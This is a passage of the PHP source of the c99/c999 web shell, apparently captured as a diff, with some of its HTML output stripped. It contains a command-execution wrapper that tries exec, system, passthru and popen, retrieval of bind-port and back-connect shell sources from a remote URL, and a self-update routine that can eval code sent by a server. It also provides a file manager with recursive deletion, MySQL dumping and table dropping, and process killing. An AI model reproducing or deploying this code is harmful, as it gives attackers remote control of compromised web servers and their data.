(!function_exists("fs_rmdir")) +{ +function fs_rmdir($d) +{ + $h = opendir($d); + while (($o = readdir($h)) !== FALSE) + { + if (($o != ".") and ($o != "..")) + { + if (!is_dir($d.$o)) {unlink($d.$o);} + else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);} + } + } + closedir($h); + rmdir($d); + return !is_dir($d); +} +} +if (!function_exists("fs_rmobj")) +{ +function fs_rmobj($o) +{ + $o = str_replace("\\",DIRECTORY_SEPARATOR,$o); + if (is_dir($o)) + { + if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;} + return fs_rmdir($o); + } + elseif (is_file($o)) {return unlink($o);} + else {return FALSE;} +} +} +if (!function_exists("myshellexec")) +{ +function myshellexec($cmd) +{ + global $disablefunc; + $result = ""; + if (!empty($cmd)) + { + if (is_callable("exec") and !in_array("exec",$disablefunc)) {exec($cmd,$result); $result = join("\n",$result);} + elseif (($result = `$cmd`) !== FALSE) {} + elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;} + elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;} + elseif (is_resource($fp = popen($cmd,"r"))) + { + $result = ""; + while(!feof($fp)) {$result .= fread($fp,1024);} + pclose($fp); + } + } + return $result; +} +} +if (!function_exists("tabsort")) {function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);}} +if (!function_exists("view_perms")) +{ +function view_perms($mode) +{ + if (($mode & 0xC000) === 0xC000) {$type = "s";} + elseif (($mode & 0x4000) === 0x4000) {$type = "d";} + elseif (($mode & 0xA000) === 0xA000) {$type = "l";} + elseif (($mode & 0x8000) === 0x8000) {$type = "-";} + elseif (($mode & 0x6000) === 0x6000) {$type = "b";} + elseif (($mode & 0x2000) === 0x2000) {$type = "c";} + elseif (($mode & 0x1000) === 0x1000) {$type = "p";} + else {$type = "?";} + + $owner["read"] = ($mode & 00400)?"r":"-"; + $owner["write"] = ($mode & 00200)?"w":"-"; + $owner["execute"] = ($mode & 00100)?"x":"-"; + $group["read"] = ($mode & 00040)?"r":"-"; + $group["write"] = ($mode & 00020)?"w":"-"; + $group["execute"] = ($mode & 00010)?"x":"-"; + $world["read"] = ($mode & 00004)?"r":"-"; + $world["write"] = ($mode & 00002)? "w":"-"; + $world["execute"] = ($mode & 00001)?"x":"-"; + + if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";} + if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";} + if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";} + + return $type.join("",$owner).join("",$group).join("",$world); +} +} +if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}} +if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}} +if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}} +if (!function_exists("parse_perms")) +{ +function parse_perms($mode) +{ + if (($mode & 0xC000) === 0xC000) {$t = "s";} + elseif (($mode & 0x4000) === 0x4000) {$t = "d";} + elseif (($mode & 0xA000) === 0xA000) {$t = "l";} + elseif (($mode & 0x8000) === 0x8000) {$t = "-";} + elseif (($mode & 0x6000) === 0x6000) {$t = "b";} + elseif (($mode & 0x2000) === 0x2000) {$t = "c";} + elseif (($mode & 0x1000) === 0x1000) {$t = "p";} + else {$t = "?";} + $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0; + $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0; + $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0; + return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w); +} +} +if (!function_exists("parsesort")) +{ +function parsesort($sort) +{ + $one = intval($sort); + $second = substr($sort,-1); + if ($second != "d") {$second = "a";} + return array($one,$second); +} +} +if (!function_exists("view_perms_color")) +{ +function view_perms_color($o) +{ + if (!is_readable($o)) {return "".view_perms(fileperms($o))."";} + elseif (!is_writable($o)) {return "".view_perms(fileperms($o))."";} + else {return "".view_perms(fileperms($o))."";} +} +} +if (!function_exists("c999getsource")) +{ +function c999getsource($fn) +{ + global $c999sh_sourcesurl; + $array = array( + "c999sh_bindport.pl" => "c999sh_bindport_pl.txt", + "c999sh_bindport.c" => "c999sh_bindport_c.txt", + "c999sh_backconn.pl" => "c999sh_backconn_pl.txt", + "c999sh_backconn.c" => "c999sh_backconn_c.txt", + "c999sh_datapipe.pl" => "c999sh_datapipe_pl.txt", + "c999sh_datapipe.c" => "c999sh_datapipe_c.txt", + ); + $name = $array[$fn]; + if ($name) {return file_get_contents($c999sh_sourcesurl.$name);} + else {return FALSE;} +} +} +if (!function_exists("c999sh_getupdate")) +{ +function c999sh_getupdate($update = TRUE) +{return "Can't connect to update-server!"; + + $url = $GLOBALS["c999sh_updateurl"]."?version=".urlencode(base64_encode($GLOBALS["shver"]))."&updatenow=".($updatenow?"1":"0")."&"; + $data = @file_get_contents($url); + if (!$data) {return "Can't connect to update-server!";} + else + { + $data = ltrim($data); + $string = substr($data,3,ord($data{2})); + if ($data{0} == "\x99" and $data{1} == "\x01") {return "Error: ".$string; return FALSE;} + if ($data{0} == "\x99" and $data{1} == "\x02") {return "You are using latest version!";} + if ($data{0} == "\x99" and $data{1} == "\x03") + { + $string = explode("\x01",$string); + if ($update) + { + $confvars = array(); + $sourceurl = $string[0]; + $source = file_get_contents($sourceurl); + if (!$source) {return "Can't fetch update!";} + else + { + $fp = fopen(__FILE__,"w"); + if (!$fp) {return "Local error: can't write update to ".__FILE__."! You may download c999shell.php manually here.";} + else {fwrite($fp,$source); fclose($fp); return "Thanks! Updated with success.";} + } + } + else {return "New version are available: ".$string[1];} + } + elseif ($data{0} == "\x99" and $data{1} == "\x04") {eval($string); return 1;} + else {return "Error in protocol: segmentation failed! (".$data.") ";} + } +} +} +if (!function_exists("mysql_dump")) +{ +function mysql_dump($set) +{ + global $shver; + $sock = $set["sock"]; + $db = $set["db"]; + $print = $set["print"]; + $nl2br = $set["nl2br"]; + $file = $set["file"]; + $add_drop = $set["add_drop"]; + $tabs = $set["tabs"]; + $onlytabs = $set["onlytabs"]; + $ret = array(); + $ret["err"] = array(); + if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");} + if (empty($db)) {$db = "db";} + if (empty($print)) {$print = 0;} + if (empty($nl2br)) {$nl2br = 0;} + if (empty($add_drop)) {$add_drop = TRUE;} + if (empty($file)) + { + $file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql"; + } + if (!is_array($tabs)) {$tabs = array();} + if (empty($add_drop)) {$add_drop = TRUE;} + if (sizeof($tabs) == 0) + { + // retrive tables-list + $res = mysql_query("SHOW TABLES FROM ".$db, $sock); + if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}} + } + $out = "# Dumped by c999Shell.SQL v. ".$shver." +# Home page: http://ccteam.ru +# +# Host settings: +# MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"." +# Date: ".date("d.m.Y H:i:s")." +# DB: \"".$db."\" +#--------------------------------------------------------- +"; + $c = count($onlytabs); + foreach($tabs as $tab) + { + if ((in_array($tab,$onlytabs)) or (!$c)) + { + if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";} + // recieve query for create table structure + $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock); + if (!$res) {$ret["err"][] = mysql_smarterror();} + else + { + $row = mysql_fetch_row($res); + $out .= $row["1"].";\n\n"; + // recieve table variables + $res = mysql_query("SELECT * FROM `$tab`", $sock); + if (mysql_num_rows($res) > 0) + { + while ($row = mysql_fetch_assoc($res)) + { + $keys = implode("`, `", array_keys($row)); + $values = array_values($row); + foreach($values as $k=>$v) {$values[$k] = addslashes($v);} + $values = implode("', '", $values); + $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n"; + $out .= $sql; + } + } + } + } + } + $out .= "#---------------------------------------------------------------------------------\n\n"; + if ($file) + { + $fp = fopen($file, "w"); + if (!$fp) {$ret["err"][] = 2;} + else + { + fwrite ($fp, $out); + fclose ($fp); + } + } + if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}} + return $out; +} +} +if (!function_exists("mysql_buildwhere")) +{ +function mysql_buildwhere($array,$sep=" and",$functs=array()) +{ + if (!is_array($array)) {$array = array();} + $result = ""; + foreach($array as $k=>$v) + { + $value = ""; + if (!empty($functs[$k])) {$value .= $functs[$k]."(";} + $value .= "'".addslashes($v)."'"; + if (!empty($functs[$k])) {$value .= ")";} + $result .= "`".$k."` = ".$value.$sep; + } + $result = substr($result,0,strlen($result)-strlen($sep)); + return $result; +} +} +if (!function_exists("mysql_fetch_all")) +{ +function mysql_fetch_all($query,$sock) +{ + if ($sock) {$result = mysql_query($query,$sock);} + else {$result = mysql_query($query);} + $array = array(); + while ($row = mysql_fetch_array($result)) {$array[] = $row;} + mysql_free_result($result); + return $array; +} +} +if (!function_exists("mysql_smarterror")) +{ +function mysql_smarterror($type,$sock) +{ + if ($sock) {$error = mysql_error($sock);} + else {$error = mysql_error();} + $error = htmlspecialchars($error); + return $error; +} +} +if (!function_exists("mysql_query_form")) +{ +function mysql_query_form() +{ + global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct; + if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "Error:
    ".$sql_query_error."
    ";} + if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} + if ((!$submit) or ($sql_act)) + { + echo ""; + if ($tbl_struct) + { + echo "
    "; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":



     
    Fields:
    "; + foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "» ".$name."
    ";} + echo "
    "; + } + } + if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;} +} +} +if (!function_exists("mysql_create_db")) +{ +function mysql_create_db($db,$sock="") +{ + $sql = "CREATE DATABASE `".addslashes($db)."`;"; + if ($sock) {return mysql_query($sql,$sock);} + else {return mysql_query($sql);} +} +} +if (!function_exists("mysql_query_parse")) +{ +function mysql_query_parse($query) +{ + $query = trim($query); + $arr = explode (" ",$query); + /*array array() + { + "METHOD"=>array(output_type), + "METHOD1"... + ... + } + if output_type == 0, no output, + if output_type == 1, no output if no error + if output_type == 2, output without control-buttons + if output_type == 3, output with control-buttons + */ + $types = array( + "SELECT"=>array(3,1), + "SHOW"=>array(2,1), + "DELETE"=>array(1), + "DROP"=>array(1) + ); + $result = array(); + $op = strtoupper($arr[0]); + if (is_array($types[$op])) + { + $result["propertions"] = $types[$op]; + $result["query"] = $query; + if ($types[$op] == 2) + { + foreach($arr as $k=>$v) + { + if (strtoupper($v) == "LIMIT") + { + $result["limit"] = $arr[$k+1]; + $result["limit"] = explode(",",$result["limit"]); + if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);} + unset($arr[$k],$arr[$k+1]); + } + } + } + } + else {return FALSE;} +} +} +if (!function_exists("c999fsearch")) +{ +function c999fsearch($d) +{ + global $found; + global $found_d; + global $found_f; + global $search_i_f; + global $search_i_d; + global $a; + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + $h = opendir($d); + while (($f = readdir($h)) !== FALSE) + { + if($f != "." && $f != "..") + { + $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== FALSE) || ($a["name_regexp"] and ereg($a["name"],$f)); + if (is_dir($d.$f)) + { + $search_i_d++; + if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;} + if (!is_link($d.$f)) {c999fsearch($d.$f);} + } + else + { + $search_i_f++; + if ($bool) + { + if (!empty($a["text"])) + { + $r = @file_get_contents($d.$f); + if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";} + if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);} + if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);} + else {$bool = strpos(" ".$r,$a["text"],1);} + if ($a["text_not"]) {$bool = !$bool;} + if ($bool) {$found[] = $d.$f; $found_f++;} + } + else {$found[] = $d.$f; $found_f++;} + } + } + } + } + closedir($h); +} +} +if ($act == "gofile") {if (is_dir($f)) {$act = "ls"; $d = $f;} else {$act = "f"; $d = dirname($f); $f = basename($f);}} +//Sending headers +@ob_start(); +@ob_implicit_flush(0); +function onphpshutdown() +{ + global $gzipencode,$ft; + if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad"))) + { + $v = @ob_get_contents(); + @ob_end_clean(); + @ob_start("ob_gzHandler"); + echo $v; + @ob_end_flush(); + } +} +function c999shexit() +{ + onphpshutdown(); + exit; +} +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", FALSE); +header("Pragma: no-cache"); +if (empty($tmpdir)) +{ + $tmpdir = ini_get("upload_tmp_dir"); + if (is_dir($tmpdir)) {$tmpdir = "/tmp/";} +} +$tmpdir = realpath($tmpdir); +$tmpdir = str_replace("\\",DIRECTORY_SEPARATOR,$tmpdir); +if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;} +if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;} +else {$tmpdir_logs = realpath($tmpdir_logs);} +if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") +{ + $safemode = TRUE; + $hsafemode = "ON (secure)"; +} +else {$safemode = FALSE; $hsafemode = "OFF (not secure)";} +$v = @ini_get("open_basedir"); +if ($v or strtolower($v) == "on") {$openbasedir = TRUE; $hopenbasedir = "".$v."";} +else {$openbasedir = FALSE; $hopenbasedir = "OFF (not secure)";} +$sort = htmlspecialchars($sort); +if (empty($sort)) {$sort = $sort_default;} +$sort[1] = strtolower($sort[1]); +$DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE"); +if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();} +$DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"PHP/".phpversion()."",htmlspecialchars($DISP_SERVER_SOFTWARE)); +@ini_set("highlight.bg",$highlight_bg); //FFFFFF +@ini_set("highlight.comment",$highlight_comment); //#FF8000 +@ini_set("highlight.default",$highlight_default); //#0000BB +@ini_set("highlight.html",$highlight_html); //#000000 +@ini_set("highlight.keyword",$highlight_keyword); //#007700 +@ini_set("highlight.string",$highlight_string); //#DD0000 +if (!is_array($actbox)) {$actbox = array();} +$dspact = $act = htmlspecialchars($act); +$disp_fullpath = $ls_arr = $notls = null; +$ud = urlencode($d); +?><?php echo getenv("HTTP_HOST"); ?> - phpshell

    !c99Shell v. !

    Software:  

    uname -a: ",1); ?> 

    ",1);} else {echo get_current_user();} ?> 

    Safe-mode: 

    ".htmlspecialchars($b).DIRECTORY_SEPARATOR.""; + $i++; +} +echo "   "; +if (is_writable($d)) +{ + $wd = TRUE; + $wdt = "[ ok ]"; + echo "".view_perms(fileperms($d)).""; +} +else +{ + $wd = FALSE; + $wdt = "[ Read-Only ]"; + echo "".view_perms_color($d).""; +} +if (is_callable("disk_free_space")) +{ + $free = disk_free_space($d); + $total = disk_total_space($d); + if ($free === FALSE) {$free = 0;} + if ($total === FALSE) {$total = 0;} + if ($free < 0) {$free = 0;} + if ($total < 0) {$total = 0;} + $used = $total-$free; + $free_percent = round(100/($total/$free),2); + echo "
    Free ".view_size($free)." of ".view_size($total)." (".$free_percent."%)"; +} +echo "
    "; +$letters = ""; +if ($win) +{ + $v = explode("\\",$d); + $v = $v[0]; + foreach (range("a","z") as $letter) + { + $bool = $isdiskette = in_array($letter,$safemode_diskettes); + if (!$bool) {$bool = is_dir($letter.":\\");} + if ($bool) + { + $letters .= "[ "; + if ($letter.":" != $v) {$letters .= $letter;} + else {$letters .= "".$letter."";} + $letters .= " ] "; + } + } + if (!empty($letters)) {echo "Detected drives: ".$letters."
    ";} +} +if (count($quicklaunch) > 0) +{ + foreach($quicklaunch as $item) + { + $item[1] = str_replace("%d",urlencode($d),$item[1]); + $item[1] = str_replace("%sort",$sort,$item[1]); + $v = realpath($d.".."); + if (empty($v)) {$a = explode(DIRECTORY_SEPARATOR,$d); unset($a[count($a)-2]); $v = join(DIRECTORY_SEPARATOR,$a);} + $item[1] = str_replace("%upd",urlencode($v),$item[1]); + echo "".$item[0]."    "; + } +} +echo "


    "; +if ((!empty($donated_html)) and (in_array($act,$donated_act))) {echo "
    ".$donated_html."

    ";} +echo ""; + $line = explode(" ",$line); + $line[10] = join(" ",array_slice($line,10)); + $line = array_slice($line,0,11); + if ($line[0] == get_current_user()) {$line[0] = "".$line[0]."";} + $line[] = "KILL"; + $prcs[] = $line; + echo ""; + } + } + } + else + { + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg("",$ret)) {$ret = str_replace("","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + $ret = convert_cyr_string($ret,"d","w"); + $stack = explode("\n",$ret); + unset($stack[0],$stack[2]); + $stack = array_values($stack); + $head = explode("",$stack[0]); + $head[1] = explode(" ",$head[1]); + $head[1] = $head[1][0]; + $stack = array_slice($stack,1); + unset($head[2]); + $head = array_values($head); + if ($parsesort[1] != "a") {$y = "";} + else {$y = "";} + if ($k > count($head)) {$k = count($head)-1;} + for($i=0;$i".trim($head[$i])."";} + } + $prcs = array(); + foreach ($stack as $line) + { + if (!empty($line)) + { + echo ""; + $line = explode("",$line); + $line[1] = intval($line[1]); $line[2] = $line[3]; unset($line[3]); + $line[2] = intval(str_replace(" ","",$line[2]))*1024; + $prcs[] = $line; + echo ""; + } + } + } + $head[$k] = "".$head[$k]."".$y; + $v = $processes_sort[0]; + usort($prcs,"tabsort"); + if ($processes_sort[1] == "d") {$prcs = array_reverse($prcs);} + $tab = array(); + $tab[] = $head; + $tab = array_merge($tab,$prcs); + echo "
    "; +if ($act == "") {$act = $dspact = "ls";} +if ($act == "sql") +{ + $sql_surl = $surl."act=sql"; + if ($sql_login) {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);} + if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);} + if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);} + if ($sql_port) {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);} + if ($sql_db) {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);} + $sql_surl .= "&"; + ?>

    Attention! SQL-Manager is NOT ready module! Don't reports bugs.

    "; + if (!$sql_sock) {?>"; + } + echo "
    SQL Manager:
    "; + if (!$sql_sock) + { + if (!$sql_server) {echo "NO CONNECTION";} + else {echo "
    Can't connect
    "; echo "".$err."";} + } + else + { + $sqlquicklaunch = array(); + $sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"); + $sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)); + $sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus"); + $sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars"); + $sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes"); + $sqlquicklaunch[] = array("Logout",$surl."act=sql"); + echo "
    MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")
    "; + if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ ".$item[0]." ] ";}} + echo "
    "; + } + echo "
    i
  • If login is null, login is owner of process.
  • If host is null, host is localhost
  • If port is null, port is 3306 (default)
  •  Please, fill the form:
    UsernamePassword Database 
    HostPORT
    ">Home
    ".htmlspecialchars($sql_db)." ]---
    "; + $c = 0; + while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "» ".htmlspecialchars($row[0])." (".$count_row[0].")
    "; mysql_free_result($count); $c++;} + if (!$c) {echo "No tables found in database.";} + } + } + else + { + ?>
    Home

    Please, select database
    "; + //Start center panel + $diplay = TRUE; + if ($sql_db) + { + if (!is_numeric($c)) {$c = 0;} + if ($c == 0) {$c = "no";} + echo "
    There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").
    "; + if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ ".$item[0]." ] ";}} + echo "
    "; + $acts = array("","dump"); + if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_act = "query";} + elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";} + elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,-1);} $sql_act = "query";} + elseif ($sql_tbl_act == "insert") + { + if ($sql_tbl_insert_radio == 1) + { + $keys = ""; + $akeys = array_keys($sql_tbl_insert); + foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";} + if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);} + $values = ""; + $i = 0; + foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;} + if (!empty($values)) {$values = substr($values,0,strlen($values)-2);} + $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );"; + $sql_act = "query"; + $sql_tbl_act = "browse"; + } + elseif ($sql_tbl_insert_radio == 2) + { + $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs); + $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;"; + $result = mysql_query($sql_query) or print(mysql_smarterror()); + $result = mysql_fetch_array($result, MYSQL_ASSOC); + $sql_act = "query"; + $sql_tbl_act = "browse"; + } + } + if ($sql_act == "query") + { + echo "
    "; + if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "Error:
    ".$sql_query_error."
    ";} + if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} + if ((!$submit) or ($sql_act)) {echo "
    "; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "



     
    ";} + } + if (in_array($sql_act,$acts)) + { + ?>
    Create new table:
     
    Dump DB:
    "> 
    ";} + if ($sql_act == "newtbl") + { + echo ""; + if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!
    "; + } + else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".
    Reason: ".mysql_smarterror();} + } + elseif ($sql_act == "dump") + { + if (empty($submit)) + { + $diplay = FALSE; + echo "
    SQL-Dump:

    "; + echo "DB: 

    "; + $v = join (";",$dmptbls); + echo "Only tables (explode \";\") 1: 

    "; + if ($dump_file) {$tmp = $dump_file;} + else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");} + echo "File: 

    "; + echo "Download:  

    "; + echo "Save to file:  "; + echo "



    1 - all, if empty"; + echo "
    "; + } + else + { + $diplay = TRUE; + $set = array(); + $set["sock"] = $sql_sock; + $set["db"] = $sql_db; + $dump_out = "download"; + $set["print"] = 0; + $set["nl2br"] = 0; + $set[""] = 0; + $set["file"] = $dump_file; + $set["add_drop"] = TRUE; + $set["onlytabs"] = array(); + if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);} + $ret = mysql_dump($set); + if ($sql_dump_download) + { + @ob_clean(); + header("Content-type: application/octet-stream"); + header("Content-length: ".strlen($ret)); + header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";"); + echo $ret; + exit; + } + elseif ($sql_dump_savetofile) + { + $fp = fopen($sql_dump_file,"w"); + if (!$fp) {echo "Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";} + else + { + fwrite($fp,$ret); + fclose($fp); + echo "Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")."; + } + } + else {echo "Dump: nothing to do!";} + } + } + if ($diplay) + { + if (!empty($sql_tbl)) + { + if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";} + $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;"); + $count_row = mysql_fetch_array($count); + mysql_free_result($count); + $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;"); + $tbl_struct_fields = array(); + while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;} + if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;} + if (empty($sql_tbl_page)) {$sql_tbl_page = 0;} + if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;} + if (empty($sql_tbl_le)) {$sql_tbl_le = 30;} + $perpage = $sql_tbl_le - $sql_tbl_ls; + if (!is_numeric($perpage)) {$perpage = 10;} + $numpages = $count_row[0]/$perpage; + $e = explode(" ",$sql_order); + if (count($e) == 2) + { + if ($e[0] == "d") {$asc_desc = "DESC";} + else {$asc_desc = "ASC";} + $v = "ORDER BY `".$e[1]."` ".$asc_desc." "; + } + else {$v = "";} + $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage.""; + $result = mysql_query($query) or print(mysql_smarterror()); + echo "
    Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)
    "; + echo "Structure ]   "; + echo "Browse ]   "; + echo "Dump ]   "; + echo "Insert ]   "; + if ($sql_tbl_act == "structure") {echo "

    Coming sooon!";} + if ($sql_tbl_act == "insert") + { + if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();} + if (!empty($sql_tbl_insert_radio)) + { + + } + else + { + echo "

    Inserting row into table:
